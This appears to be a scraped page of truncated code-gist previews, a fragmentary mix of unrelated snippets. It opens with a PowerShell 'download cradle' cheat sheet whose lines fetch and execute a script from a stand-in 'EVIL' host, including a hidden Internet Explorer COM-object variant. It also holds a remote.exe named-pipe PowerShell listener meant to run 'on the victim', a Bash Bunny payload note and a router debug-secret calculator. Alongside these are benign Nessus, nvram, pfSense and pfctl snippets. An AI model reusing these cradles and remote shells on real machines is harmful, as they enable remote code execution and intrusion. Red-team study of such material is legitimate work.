| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
Custom languages don't work without bbpayload.
git clone https://github.com/hak5/bashbunny-payloads.git
payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny
| #!/usr/bin/env ruby | |
| # Filter Nessus XML report to get services identified | |
| # Copyright (C) Kost | |
| require 'nokogiri' | |
| require 'optparse' | |
| require 'logger' | |
| require 'csv' | |
| /* | |
| Calculate Bootbase/bootext secret for debug commands | |
| Zyxel, Huawei, ZTE, etc. | |
| Usage: | |
| $ gcc zynsecrets.c -o zynsecrets | |
| $ ./zynsecrets 000102030403 | |
| Copyright (C) Kost, https://gist.github.com/kost |
| #!/bin/sh | |
| # nvram emulation shell script (c) kost, https://gist.github.com/kost | |
| # | |
| # Usage (on real device dump the content): nvram show > /tmp/nvram.file | |
| # Copy script and /tmp/nvram.file to the emulation env, start using it | |
| # In case you just need nvram command emulation, just copy script. | |
| # | |
| # uncomment for debug: | |
| # set -x |
Make sure everything is up to date.
| # Command to run on the victim | |
| # This will establish a PowerShell listener over the "pwnme" named pipe | |
| remote /S "powershell.exe" pwnme | |
| # Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client) | |
| runas /netonly /user:[Domain|Hostname\Username] "cmd" | |
| remote /C [Hostname\IP] "pwnme" |
| # GROK match pattern for logstash.conf filter: %{PFSENSE_LOG_DATA}%{PFSENSE_IP_SPECIFIC_DATA}%{PFSENSE_IP_DATA}%{PFSENSE_PROTOCOL_DATA} | |
| # GROK Custom Patterns (add to patterns directory and reference in GROK filter for pfSense events): | |
| # GROK Patterns for pfSense 2.2 Logging Format | |
| # | |
| # Created 27 Jan 2015 by J. Pisano (Handles TCP, UDP, and ICMP log entries) | |
| # Edited 14 Feb 2015 by Elijah Paul [email protected] | |
| # Edited 10 Mar 2015 by Bernd Zeimetz <[email protected]> | |
| # taken from https://gist.github.com/elijahpaul/f5f32d4e914dcb7fedd2 |
| { | |
| "title": "PFSense Firewall", | |
| "services": { | |
| "query": { | |
| "idQueue": [], | |
| "list": { | |
| "0": { | |
| "query": "tags: \"PFSense\" AND action: \"pass\"", | |
| "alias": "Passed", | |
| "color": "#6ED0E0", |
| # basic pfctl control | |
| # == | |
| # Related: http://www.OpenBSD.org | |
| # Last update: Tue Dec 28, 2004 | |
| # == | |
| # Note: | |
| # this document is only provided as a basic overview | |
| # for some common pfctl commands and is by no means | |
| # a replacement for the pfctl and pf manual pages. |
